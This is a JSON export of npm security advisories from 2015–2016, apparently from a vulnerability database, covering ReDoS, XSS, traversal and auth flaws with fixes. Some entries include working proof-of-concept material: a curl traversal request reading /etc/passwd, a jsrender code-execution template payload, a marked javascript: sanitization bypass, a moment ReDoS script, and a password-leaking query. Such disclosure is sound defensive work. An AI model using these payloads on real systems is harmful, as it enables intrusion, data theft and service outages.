\n\nTimeline\n\n- April 29th 2016 - Initial report to maintainers\n- April 29th 2016 - Confirm receipt from maintainers\n- May 1st 2016 - Fix confirmed\n- May 5th 2016 - 0.6.1 published with fix\n- June 16th 2016 - Advisory published (delay was to coordinate fixes in upstream frameworks, Koa and Express)","recommendation":"Upgrade to at least version 0.6.1\n\nExpress users should update to Express 4.14.0 or greater. If you want to see if you are using a vulnerable call, a quick grep for the `acceptsLanguages` function call in your application will tell you if you are using this functionality.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":95,"created_at":"2016-03-28T21:24:14+00:00","updated_at":"2016-06-20T14:35:36+00:00","title":"Arbitrary File Write","author":"Steve Kemp","module_name":"cli","publish_date":"2016-06-15T23:22:22+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"cli_arbitrary-file-write","overview":"```\nlock_file = '/tmp/' + cli.app + '.pid',\nlog_file = '/tmp/' + cli.app + '.log';\n```\nThe package `node-cli` insecurely uses the lock_file and log_file. Both of these are temporary, but it allows the starting user to overwrite any file they have access to.","recommendation":"There is no update as of now.","references":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=809252","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:P/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N","cvss_score":1.9},{"id":108,"created_at":"2016-05-05T21:21:09+00:00","updated_at":"2016-05-23T17:50:20+00:00","title":"Cross Site Scripting","author":"Unknown","module_name":"backbone","publish_date":"2016-05-23T17:50:20+00:00","cves":[],"vulnerable_versions":"<= 0.3.3","patched_versions":">= 0.5.0","slug":"backbone_cross-site-scripting","overview":"backbone is a module that adds in structure to a JavaScript heavy application through key-value pairs and custom events connecting to your RESTful API through JSON\n\nThere exists a potential Cross Site Scripting vulnerability in the `Model#Escape` function if a user is able to supply input.\n\nThis is due to the regex that's replacing things to miss the conversion of things such as `<` to `<`.","recommendation":"Upgrade to at least version 0.5.0","references":"- https://github.com/jashkenas/backbone/compare/0.3.3...0.5.0#diff-0d56d0d310de7ff18b3cef9c2f8f75dcL1008\n- backbonejs.org/#changelog","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":107,"created_at":"2016-05-05T20:30:51+00:00","updated_at":"2016-06-27T20:20:11+00:00","title":"Cross Site Scripting","author":"Unknown","module_name":"dojo","publish_date":"2016-05-23T16:48:27+00:00","cves":["CVE-2008-6681"],"vulnerable_versions":"<= 1.0","patched_versions":">= 1.1","slug":"dojo_cross-site-scripting","overview":"dojo is the core module for the Dojo Toolkit. The dojo package covers a wide range of functionality like AJAX, DOM manipulation, class-type programming, events, promises, data stores, drag-and-drop and internationalization libraries.\n\nThere is a bug in the `dijit.Editor` and `textarea` where input, even sanitized, executes javascript. This is because the `<textarea>` tag only sees the final, unsanitized, user input.","recommendation":"Upgrade to at least version 1.1","references":"- https://bugs.dojotoolkit.org/ticket/2140","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N","cvss_score":4.3},{"id":99,"created_at":"2016-04-04T19:46:25+00:00","updated_at":"2016-05-13T20:39:38+00:00","title":"Insecure Defaults Allow MITM Over TLS","author":"David Johansson","module_name":"engine.io-client","publish_date":"2016-04-26T16:24:32+00:00","cves":[],"vulnerable_versions":"<= 1.6.8","patched_versions":">= 1.6.9","slug":"engineio-client_tls-connections-over-websockets-vulnerable-to-mitm","overview":"engine.io-client is the client for [engine.io](https://github.com/socketio/engine.io), the implementation of a transport-based cross-browser/cross-device bi-directional communication layer for Socket.IO.\n\nThe vulnerability is related to the way that node.js handles the `rejectUnauthorized` setting. If the value is something that evaluates to false, certificate verification will be disabled.\n\nThis is problematic as engine.io-client passes in an object for settings that includes the rejectUnauthorized property, whether it has been set or not. If the value has not been explicitly changed, it will be passed in as `null`, resulting in certificate verification being turned off:\n\n``` \n // line that causes bug\nthis.rejectUnauthorized = opts.rejectUnauthorized === undefined ? null : opts.rejectUnauthorized;\n ```","recommendation":"Upgrade to version 1.6.9 or greater. If you are unable to upgrade, make sure and force all calls to socket.io to have a `rejectedUnauthorized: true` flag.","references":"- https://github.com/socketio/engine.io-client/commit/2c55b278a491bf45313ecc0825cf800e2f7ff5c1\n- https://www.cigital.com/blog/node-js-socket-io/","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_score":6.8},{"id":94,"created_at":"2016-03-28T21:18:24+00:00","updated_at":"2016-05-13T20:43:49+00:00","title":"Non-Constant Time String Comparison","author":"Todd Wolfson","module_name":"csrf-lite","publish_date":"2016-04-23T03:42:03+00:00","cves":[],"vulnerable_versions":"<=0.1.1","patched_versions":">=0.1.2","slug":"csrf-lite_non-constant-time-string-comparison","overview":"- csrf-lite is a cross-site request forgery protection library for framework-less node sites\n- csrf-lite uses `===`, a fail first string comparison, instead of a time constant string comparison\n- This enables an attacker being able to calculate minuscule differences in CSRF tokens, essentially enabling them to guess the token one character at a time\n\n\n_Example psuedo-code of how the built-in string comparison (fail first) works_:\n```\nfunction compareTokens(a, b)\n tempCheck = 0;\n if a.length() != b.length()\n return false;\n for each character in a {\n tempCheck += 1;\n if a[current character check] != b[current character check]\n return false;\n }\n return true;\n\ncsrfToken = \"63737266546f6b656e\";\ncsrfTokenCompare = user_input();\n\ncompareTokens(csrfToken, csrfTokenCompare);\n```\nEach check increases the variable `tempCheck` by one. If a malicious user is able to see what `tempCheck` is at each run (how long it takes to do a check), then they can see when it increases. This increase indicates that the character they just put in for `csrfTokenCompare` is the correct one.","recommendation":"Update to at least version 0.1.2","references":"- https://github.com/isaacs/csrf-lite/pull/1","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","cvss_score":4.3},{"id":104,"created_at":"2016-04-21T18:27:18+00:00","updated_at":"2016-06-22T16:23:20+00:00","title":"SSL Validation Defaults to False","author":"Mark Lee","module_name":"electron-packager","publish_date":"2016-04-22T15:56:50+00:00","cves":[],"vulnerable_versions":">= 5.2.1 <= 6.0.0 || >=6.0.0 <= 6.0.2","patched_versions":">= 7.0.0","slug":"electron-packager_ssl-validation-defaults-to-false","overview":"- electron-packager is a command line tool that packages Electron source code into `.app` and `.exe` packages. along with Electron.\n- The `--strict-ssl` command line option defaults to false if not explicitly set to true\n\nThis could allow an attacker to Man In The Middle (MITM) the step where electron-packager does the following step: \"Download all supported target platforms and arches of Electron using the installed electron-prebuilt version (and cache the downloads in ~/.electron)\" effecting the integrity of the package and the cached downloads in ~/.electron.\n\nThis only affects users using the electron-packager CLI. The strict-ssl option defaults to true for the node.js API.","recommendation":"Upgrade to at least version 7.0.0\n\nIt's also recommended to delete the electron-download cache folder, by default named .electron, and located in your home folder. For example:\n\n```\nrm -rf ~/.electron\n```","references":"- https://github.com/electron-userland/electron-packager/issues/333","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:P/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","cvss_score":3.1},{"id":92,"created_at":"2016-03-28T17:49:12+00:00","updated_at":"2016-05-04T05:14:52+00:00","title":"Private Data Disclosure","author":"Stefan Mirea","module_name":"express-restify-mongoose","publish_date":"2016-04-19T23:24:17+00:00","cves":[],"vulnerable_versions":"<= 2.4.2 || >= 3.0.0 <=3.0.1","patched_versions":">=2.5.0 <= 3.0.0 || >=3.1.0","slug":"express-restify-mongoose_password-disclosure","overview":"express-restify-mongoose is a module to easily create a flexible REST interface for mongoose models.\n\nIf you have a user model that you want to protect, such as the following User model:\n```\nconst User = mongoose.model('User', new mongoose.Schema({\n name: String,\n password: String,\n}));\n```\n\nYou would normally do something such as:\n```\nrestify.serve(router, User, {\n private: ['password'], // Set the password part of User as private, so outside people can't read it\n})\n```\n\nThis would hide the password field from people that send your application a `GET /User` and `GET /User/some-user-id` request. \n\nA malicious user can go to your application and send a request for `GET /User?distinct=password` and get all the passwords for all the users in the database, despite the field being set to private. This can be used for other private data if the malicious user knew what was set as private for specific routes.","recommendation":"Update to at least version 3.1.0 or 2.5.0","references":"- https://github.com/florianholzapfel/express-restify-mongoose/issues/252","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","cvss_score":8.2},{"id":90,"created_at":"2016-03-28T17:21:46+00:00","updated_at":"2016-06-02T18:53:53+00:00","title":"Authentication Bypass","author":"Craig Arendt","module_name":"console-io","publish_date":"2016-04-18T21:17:58+00:00","cves":[],"vulnerable_versions":"<=2.2.13","patched_versions":">=2.3.0","slug":"console-io_authentication-bypass","overview":"console-io is a module that allows users to implement a web console in their application. \n\nA malicious user could bypass the authentication and execute any command that the user who is running the console-io application is able to run. This means that if console-io was running from root, the attacker would have full access to the system. \n\nThis vulnerability exists because the console-io application does not configure socket.io to require authentication, which allows a malicious user to connect via a websocket to send commands and receive the response.","recommendation":"Upgrade to at least version 2.3.0","references":null,"legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cvss_score":7.5},{"id":98,"created_at":"2016-04-01T16:57:21+00:00","updated_at":"2016-05-03T22:34:32+00:00","title":"npm Token Leak","author":"Mitar, Will White & the team at Mapbox, Max Motovilov, and James Taylor","module_name":"npm","publish_date":"2016-04-18T21:16:44+00:00","cves":[],"vulnerable_versions":"<= 2.15.0 || >= 3.0.0 <= 3.8.2","patched_versions":">= 2.15.1 <= 3.0.0 || >= 3.8.3","slug":"npm_npm-token-leak","overview":"The primary npm registry has, since late 2014, used HTTP bearer tokens to authenticate requests from the npm command-line interface. Due to a design flaw in the CLI, these bearer tokens were sent with every request made by the CLI for logged-in users, regardless of the destination of the request. They should instead only be included for requests made against the registry or registries used for the current install.\n\nThis flaw allows an attacker to set up an HTTP server that could collect authentication information they could use to impersonate the users whose tokens they collected. This impersonation would allow them to do anything the compromised users could do, including publishing new versions of packages.","recommendation":"Upgrade npm itself with `npm install npm@latest -g` and [revoke your tokens](https://www.npmjs.com/settings/tokens)","references":"- https://nodejs.org/en/blog/vulnerability/npm-tokens-leak-march-2016/\n- http://blog.npmjs.org/post/142036323955/fixing-a-bearer-token-vulnerability","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","cvss_score":6.8},{"id":101,"created_at":"2016-04-18T16:26:59+00:00","updated_at":"2016-08-01T16:28:28+00:00","title":"Sanitization bypass using HTML Entities","author":"Matt Austin","module_name":"marked","publish_date":"2016-04-18T16:45:00+00:00","cves":[],"vulnerable_versions":"<=0.3.5","patched_versions":">=0.3.6","slug":"marked_content-injection","overview":"marked is an application that is meant to parse and compile markdown.\n\nDue to the way that marked parses input, specifically HTML entities, it's possible to bypass marked's content injection protection (`sanitize: true`) to inject a `javascript:` URL.\n\nThis flaw exists because `&#xNNanything;` gets parsed to what it could and leaves the rest behind, resulting in just `anything;` being left. \n\nFor example:\n\nIf a malicious user could provide this input to the application `javascript֍ocument;alert(1)` resulting in a valid link, that when a user clicked it would execute `alert(1)`.","recommendation":"To mitigate the flaw you have a couple of options. There's a [pull request](https://github.com/chjj/marked/pull/592) open that fixes this issue. Another option would be to switch to another markdown library such as remarkable.","references":"- https://github.com/chjj/marked/pull/592\n- https://github.com/chjj/marked/pull/592/commits/2cff85979be8e7a026a9aca35542c470cf5da523","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_score":5.3},{"id":97,"created_at":"2016-03-30T22:22:15+00:00","updated_at":"2016-04-25T14:49:30+00:00","title":"Template Injection","author":"Paweł Hałdrzyński","module_name":"jsrender","publish_date":"2016-03-30T22:25:57+00:00","cves":["CVE-2016-3942"],"vulnerable_versions":"<=0.9.73","patched_versions":">=0.9.74","slug":"jsrender_template-injection","overview":"jsrender is a template engine for use within the browser or node.js.\n\nIf JsRender version 0.9.73 or earlier is used with server-delivered client-side templates that dynamically embed end-user input, then it is possible for a malicious user to execute arbitrary client-side code via use of a very specific expression. This threat has been removed in version 0.9.74 and all subsequent updates.\n\nThe finder of this vulnerability provided a proof of concept demonstrating code execution.\n```\n<POC-REQUEST>\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n</POC-REQUEST>\n```\n\n```\n<POC-RESPONSE>\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n<POC-RESPONSE>\n```","recommendation":"Upgrade to at least version 0.9.74","references":"https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","cvss_score":6.3},{"id":96,"created_at":"2016-03-28T22:31:14+00:00","updated_at":"2016-04-25T14:50:17+00:00","title":"Insecure Default Configuration","author":"Phil Schleihauf","module_name":"airbrake","publish_date":"2016-03-28T22:48:46+00:00","cves":[],"vulnerable_versions":"<=0.3.8","patched_versions":">=0.4.0","slug":"airbrake_insecure-default-configuration","overview":"The airbrake module defaults to sending environment variables over HTTP. Environment variables can often times contain secret keys and other sensitive values. A malicious user could be on the same network as a regular user and intercept all the secret keys the user is sending. This goes against common best practice, which is to use HTTPS.","recommendation":"Change to use https or update to at least version 0.4.0","references":"- https://github.com/airbrake/node-airbrake/issues/70","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":91,"created_at":"2016-03-28T17:34:32+00:00","updated_at":"2016-05-09T22:19:39+00:00","title":"No CSRF Validation","author":"Craig Arendt","module_name":"droppy","publish_date":"2016-03-28T22:40:54+00:00","cves":[],"vulnerable_versions":"<3.5.0","patched_versions":">=3.5.0","slug":"droppy_no-csrf-validation","overview":"Droppy versions <=3.4.0 does not perform any verification for cross-domain websocket requests. An attacker is able to make a specially crafted page that can send requests as the context of the currently logged in user. For example this means the malicious user could add a new admin account under his control and delete others.","recommendation":"Upgrade to droppy version 3.5.0 or greater.","references":null,"legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":89,"created_at":"2016-03-25T17:56:35+00:00","updated_at":"2016-04-27T21:08:45+00:00","title":"Directory Traversal","author":"Craig Arendt","module_name":"restafary","publish_date":"2016-03-28T22:21:23+00:00","cves":[],"vulnerable_versions":"<1.6.1","patched_versions":">=1.6.1","slug":"cloudcmd_directory-traversal","overview":"- restafary is a REpresentful State Transfer API for Creating, Reading, Using, Deleting files on a server from the web\n- restafary is able to set up a root path, which should only allow it to run inside of that root path it specified. \n- An attacker is able to provide a specifically crafted path to access files outside of this specified root path.\n - Note: this is only possible if the attacker has access to the restafary application.\n\nProof of Concept\n\n```\ncurl -i -s -k -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'\n\n\nHTTP/1.1 200 OK\nX-Powered-By: Express\nAccess-Control-Allow-Origin: *\nContent-Type: text/plain; charset=UTF-8\nVary: Accept-Encoding\nAccept-Ranges: bytes\nLast-Modified: Sun Jul 12 2015 22:38:08 GMT-0700 (PDT)\nContent-Length: 5581\nCache-Control: max-age=0\nDate: Fri, 25 Mar 2016 17:30:29 GMT\nConnection: keep-alive\n\n##\n# User Database\n# \n# Note that this file is consulted directly only when the system is running\n# in single-user mode. At other times this information is provided by\n# Open Directory.\n#\n# See the opendirectoryd(8) man page for additional information about\n# Open Directory.\n##\nnobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false\nroot:*:0:0:System Administrator:/var/root:/bin/sh\n```","recommendation":"Upgrade to restafary version 1.6.1 or greater.","references":null,"legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","cvss_score":4.3},{"id":93,"created_at":"2016-03-28T17:59:38+00:00","updated_at":"2016-04-20T17:41:15+00:00","title":"Insecure Entropy Source - Math.random()","author":"Fedot Praslov","module_name":"node-uuid","publish_date":"2016-03-28T21:29:30+00:00","cves":["CVE-2015-8851"],"vulnerable_versions":"<1.4.4","patched_versions":">=1.4.4","slug":"uuid_insecure-entropy-source-mathrandom","overview":"node-uuid prior to 1.4.4 contained a bug that caused it to consistently fall back to using `Math.random` instead of a more cryptographically sound source of entropy, the native `crypto` module.","recommendation":"Upgrade to version 1.4.4 or greater","references":"- https://github.com/broofa/node-uuid/issues/108\n- https://github.com/broofa/node-uuid/issues/122","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":4.2},{"id":86,"created_at":"2016-03-18T04:07:44.462+00:00","updated_at":"2016-04-20T15:57:35+00:00","title":"Regular Expression Denial of Service","author":"Alberto Martínez","module_name":"riot-compiler","publish_date":"2016-03-21T21:27:58.413+00:00","cves":[],"vulnerable_versions":"2.3.21","patched_versions":">2.3.21","slug":"riot-compiler_regular-expression-denial-of-service","overview":"The riot-compiler version version 2.3.21 \"has an issue in a regex (Catastrophic Backtracking) thats make it unusable under certain conditions\"\n\nIt should be noted that 2.3.21 has been unpublished.\n\nThanks to Sven Slootweg for letting us know about this issue.","recommendation":"Upgrade to version 2.3.22 or greater.","references":"- https://github.com/riot/compiler/issues/46","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":85,"created_at":"2016-03-16T05:09:06.299+00:00","updated_at":"2016-04-20T17:42:46+00:00","title":"Authentication credentails logged in clear text","author":"Stephan Bönnemann","module_name":"grunt-gh-pages","publish_date":"2016-03-16T16:29:31.778+00:00","cves":[],"vulnerable_versions":"<=0.9.1","patched_versions":">=1.0.0","slug":"grunt-gh-pages_auth-info-sent-from-publicly-accessible-pages","overview":"A common setup to deploy to gh-pages on every commit via a CI system is to expose a github token to ENV and to use it directly in the auth part of the url. \n\nIn module versions < 0.9.1 the auth portion of the url is outputted as part of the grunt tasks logging function. If this output is publicly available then the credentials should be considered compromised.","recommendation":"- Upgrade to version 1.0.0 or greater.\n- Consider any credentials used with these modules compromised and rotate those credentials.","references":"- https://github.com/tschaub/grunt-gh-pages/pull/41\n","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":81,"created_at":"2016-01-28T07:56:29.271+00:00","updated_at":"2016-05-13T20:33:23+00:00","title":"Authentication Bypass in Try Mode","author":"Alan Shaw","module_name":"hapi-auth-jwt2","publish_date":"2016-01-28T07:56:52.379+00:00","cves":[],"vulnerable_versions":"5.1.1","patched_versions":">=5.1.2","slug":"hapi-auth-jwt2_authentication-bypass-in-try-mode","overview":"When attempting to allow authentication mode `try` in [hapi](https://www.npmjs.com/package/hapi), hapi-auth-jwt2 version 5.1.1 introduced an issue whereby people could bypass authentication.","recommendation":"Upgrade to version 5.1.2 or greater.","references":"- https://github.com/dwyl/hapi-auth-jwt2/issues/111\n- https://github.com/dwyl/hapi-auth-jwt2/pull/112","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cvss_score":7.5},{"id":55,"created_at":"2015-10-26T23:19:57.916+00:00","updated_at":"2016-04-21T00:15:20+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"moment","publish_date":"2016-01-26T20:04:21.225+00:00","cves":["CVE-2016-4055"],"vulnerable_versions":"<2.11.2","patched_versions":">=2.11.2","slug":"moment_regular-expression-denial-of-service","overview":"moment is vulnerable to regular expression denial of service when user input is passed unchecked into moment.duration() blocking the event loop for a period of time.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\nIt's not a huge amplification it takes about 25k characters to get 1.1 seconds however that's well under most servers max request size so it's certainly exploitable.\n\nThe regular expression in question \n\nmoment/2.10.6/moment.js\n```\n1679 var aspNetRegex = /(\\-)?(?:(\\d*)\\.)?(\\d+)\\:(\\d+)(?:\\:(\\d+)\\.?(\\d{3})?)?/;\n```\n\n\n### Proof of concept\n```\nvar moment = require('moment');\n\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\n\nfor (i=20000;i<=10000000;i=i+10000) {\n console.log(\"COUNT: \" + i);\n var str = '-' + genstr(i, '1')\n console.log(\"LENGTH: \" + str.length);\n var start = process.hrtime();\n moment.duration(str)\n\n var end = process.hrtime(start);\n console.log(end);\n}\n```\n\n### Results\n```\n$ node moment.js\nCOUNT: 20000\nLENGTH: 20002\n[ 0, 618931029 ]\nCOUNT: 30001\nLENGTH: 30003\n[ 1, 401413894 ]\nCOUNT: 40002\nLENGTH: 40004\n[ 2, 437075303 ]\nCOUNT: 50003\nLENGTH: 50005\n[ 3, 824664804 ]\nCOUNT: 60004\nLENGTH: 60006\n[ 5, 651335262 ]\n```\n\n### Timeline:\n- 10/26/2015 - Initial Discovery\n- 10/26/2015 - Maintainers notified via email\n- 12/16/2015 - Maintainers notified via email again\n- 2/2/2016 - Added information to fix from pull request\n- 2/3/2016 - ","recommendation":"Please update to version 2.11.2 or greater. If you are unable to update more information is available below.\n\n\nA fix [has been made available in a pull request](https://github.com/moment/moment/pull/2939). Do not allow untrusted user input into `moment.duration()` or truncate the length of the allowed input to reduce blocking potential.\n\nin moment.js change line 1819 from\n\n`var aspNetRegex = /(\\-)?(?:(\\d*)[. ])?(\\d+)\\:(\\d+)(?:\\:(\\d+)\\.?(\\d{3})?)?/;` \n\nto\n \n`var aspNetRegex = /^(\\-)?(?:(\\d*)[. ])?(\\d+)\\:(\\d+)(?:\\:(\\d+)\\.?(\\d{3})?(?:\\d*)?)?$/;`","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":80,"created_at":"2016-01-25T17:56:30.822+00:00","updated_at":"2016-04-27T21:47:29+00:00","title":"Denial of Service and Content Injection","author":"Garth Boyd","module_name":"i18n-node-angular","publish_date":"2016-01-25T17:56:55.455+00:00","cves":[],"vulnerable_versions":"<1.4.0","patched_versions":">=1.4.0","slug":"i18n-node-angular_denial-of-service-and-content-injection","overview":"- i18n-node-angular is a module used to interact between i18n and angular without using additional resources\n- A REST API endpoint that is used for development was not disabled in production environments\n- A malicious user could fill up the server causing a Denial of Service or content injection","recommendation":"Upgrade to version 1.4.0 or greater.","references":"- https://github.com/oliversalzburg/i18n-node-angular/commit/877720d2d9bb90dc8233706e81ffa03f99fc9dc8","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cvss_score":7.3},{"id":77,"created_at":"2016-01-19T21:50:30.175+00:00","updated_at":"2016-04-21T00:16:58+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"hawk","publish_date":"2016-01-19T21:51:35.396+00:00","cves":["CVE-2016-2515"],"vulnerable_versions":"< 3.1.3 || >= 4.0.0 <4.1.1","patched_versions":">=3.1.3 < 4.0.0 || >=4.1.1","slug":"hawk_regular-expression-denial-of-service","overview":"Specifically crafted long headers or uris can cause a minor denial of service when using hawk versions less than 4.1.1.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\"\n\nUpdates:\n- Updated to include fix in 3.1.3 ","recommendation":"Update to hawk version 4.1.1 or greater.","references":"- https://github.com/hueniverse/hawk/issues/168\n- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":76,"created_at":"2016-01-17T21:04:10.998+00:00","updated_at":"2016-04-21T00:16:44+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"is-my-json-valid","publish_date":"2016-01-18T04:29:55.903+00:00","cves":["CVE-2016-2537"],"vulnerable_versions":"<=2.12.3","patched_versions":">=2.12.4","slug":"is-my-json-valid_regular-expression-denial-of-service","overview":"It is possible to block the event loop when specially crafted user input is allowed into a validator using the `utc-millisec` format.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]","recommendation":" Upgrade to version 2.12.4 or greater.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":75,"created_at":"2016-01-15T17:00:45.333+00:00","updated_at":"2016-04-20T16:58:45+00:00","title":"Denial of Service","author":"Peter Sorowka","module_name":"mqtt-packet","publish_date":"2016-01-15T17:01:49.053+00:00","cves":[],"vulnerable_versions":"<3.4.6 || > 4.0.0 <4.0.5","patched_versions":">=3.4.6 < 4.0.0|| >=4.0.5","slug":"mqtt-packet_denial-of-service","overview":"Specifically crafted MQTT packets can crash the application, making a DoS attack feasible with very little bandwidth. \n\nTimeline\n- January 15, 2016 - Initial Report (self disclosed from maintainer)\n- January 15, 2016 - CVE Requested","recommendation":"Update to version 3.4.6 or 4.0.5 or greater to fix the problem.","references":"- https://github.com/mqttjs/mqtt-packet/pull/8 \n- https://github.com/mcollina/mosca/issues/393","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":74,"created_at":"2016-01-11T22:27:08.02+00:00","updated_at":"2016-05-04T16:22:52+00:00","title":"Content Injection via TileJSON Name","author":"Alexandra Ulsh, Abdullah Ahmet Erdem","module_name":"mapbox.js","publish_date":"2016-01-12T23:35:56.853+00:00","cves":[],"vulnerable_versions":"<1.6.6 || < 2.2.4 > 2.0.0","patched_versions":">=1.6.6 <2.0.0 || >= 2.2.4","slug":"mapboxjs_content-injection-via-tilejson-name","overview":"Mapbox.js versions 1.x prior to 1.6.6 and 2.x prior to 2.2.4 are vulnerable to a cross-site-scripting attack in certain uncommon usage scenarios.\n\nIf you use L.mapbox.map and L.mapbox.shareControl it is possible for a malicious user with control over the TileJSON content to inject script content into the name value of the TileJSON. After clicking on the share control, the malicious code will execute in the context of the page using Mapbox.js.\n\nSuch usage is uncommon. L.mapbox.shareControl is not automatically added to mapbox.js maps and must be explicitly added. The following usage scenarios are not vulnerable:\n\n- the map does not use a share control (L.mapbox.sharecontrol)\n- only trusted TileJSON content is loaded\n\nTimeline:\nJanuary 12, 2016 - CVE Requested","recommendation":"Upgrade to Mapbox.js version 2.2.4. If you are still using a 1.x version and unable to upgrade to 2.2.4, upgrade to 1.6.6.\n\nIf you are unable to upgrade to either 2.2.4 or 1.6.6, you can also remove instances of L.mapbox.shareControl from your maps.","references":"- https://hackerone.com/reports/99245","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N","cvss_score":4.9},{"id":53,"created_at":"2015-10-25T17:21:21.82+00:00","updated_at":"2016-04-27T22:12:08+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"jshamcrest","publish_date":"2016-01-05T23:05:18.308+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"jshamcrest_regular-expression-denial-of-service","overview":"jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in 